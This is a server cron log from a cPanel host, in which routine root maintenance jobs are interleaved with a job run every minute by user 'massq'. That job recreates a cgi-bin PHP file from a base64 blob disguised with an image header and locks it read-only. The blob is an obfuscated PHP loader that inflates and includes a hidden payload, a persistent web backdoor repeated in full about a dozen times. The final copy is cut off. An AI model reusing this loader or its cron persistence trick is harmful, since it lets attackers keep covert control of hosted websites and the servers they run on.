Sep  6 01:09:01 server CROND[27149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:10:01 server CROND[27530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:10:01 server CROND[27531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:10:01 server CROND[27533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:10:01 server CROND[27538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:10:01 server CROND[27537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:10:01 server CROND[27540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:10:01 server CROND[27541]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:10:01 server CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:11:01 server CROND[28375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:11:01 server CROND[28376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:11:01 server CROND[28377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:12:01 server CROND[28755]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:12:01 server CROND[28757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:12:01 server CROND[28756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:12:01 server CROND[28758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:13:01 server CROND[29131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:13:01 server CROND[29132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:13:01 server CROND[29133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:14:01 server CROND[29598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:14:01 server CROND[29599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:14:01 server CROND[29600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:15:01 server CROND[29984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:15:01 server CROND[29986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:15:01 server CROND[29985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:15:01 server CROND[29996]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:15:01 server CROND[30000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:15:01 server CROND[29992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:15:01 server CROND[29999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:15:01 server CROND[30001]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 01:16:01 server CROND[30824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:16:01 server CROND[30825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:16:01 server CROND[30826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:17:01 server CROND[31191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:17:01 server CROND[31192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:17:01 server CROND[31193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:18:01 server CROND[31601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:18:01 server CROND[31602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:18:01 server CROND[31603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:19:01 server CROND[32063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:19:01 server CROND[32065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:19:01 server CROND[32064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:20:01 server CROND[32432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:20:01 server CROND[32431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:20:01 server CROND[32437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:20:01 server CROND[32440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:20:01 server CROND[32447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:20:01 server CROND[32444]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:20:01 server CROND[32448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:20:01 server CROND[32445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:20:01 server CROND[32446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:21:01 server CROND[836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUp